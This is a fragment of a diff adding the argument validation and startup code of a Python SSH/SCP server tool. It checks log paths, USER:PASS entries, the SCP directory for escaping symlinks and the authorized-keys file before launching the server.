+ logs.add_argument("--plain", action="store_true",
579
+ help="disable ANSI colors on the console")
580
+
581
+ args = parser.parse_args()
582
+
583
+ # Validate the log output path
584
+ if args.output and not args.output.parent.is_dir():
585
+ parser.error(f"Log directory does not exist: {args.output.parent}")
586
+
587
+ # Set up logging before anything logs
588
+ configure_logging(output=args.output, timestamps=args.timestamps, plain=args.plain)
589
+
590
+ # Handle version-banner presets
591
+ if args.version_banner:
592
+ args.version_banner = VERSION_PRESETS.get(
593
+ args.version_banner.lower(), args.version_banner)
594
+
595
+ # Validate user format
596
+ if args.user:
597
+ for entry in args.user:
598
+ if ":" not in entry:
599
+ parser.error(f"Invalid user format '{entry}', expected USER:PASS")
600
+
601
+ # Validate scp-dir
602
+ if args.scp_upload or args.scp_download:
603
+ scp_dir = args.scp_dir.resolve()
604
+ if not scp_dir.is_dir():
605
+ parser.error(f"SCP directory does not exist: {scp_dir}")
606
+ # Scan for symlinks that point outside the chroot
607
+ for entry in scp_dir.rglob("*"):
608
+ if entry.is_symlink():
609
+ parser.error(f"Symlink in SCP dir! We don't do that! ({entry})")
610
+
611
+ # Validate authorized-keys
612
+ if args.authorized_keys and not args.authorized_keys.is_file():
613
+ parser.error(f"Authorized-keys file not found: {args.authorized_keys}")
614
+
615
+ try: asyncio.run(start_server(args))
616
+ except PermissionError:
617
+ parser.error(f"Permission denied - port {args.port} requires root")
618
+ except OSError as e:
619
+ parser.error(f"Could not start server: {e}")
620
+ except KeyboardInterrupt:
621
+ print()
622
+
623
+
624
+ if __name__ == "__main__":
625
+ main()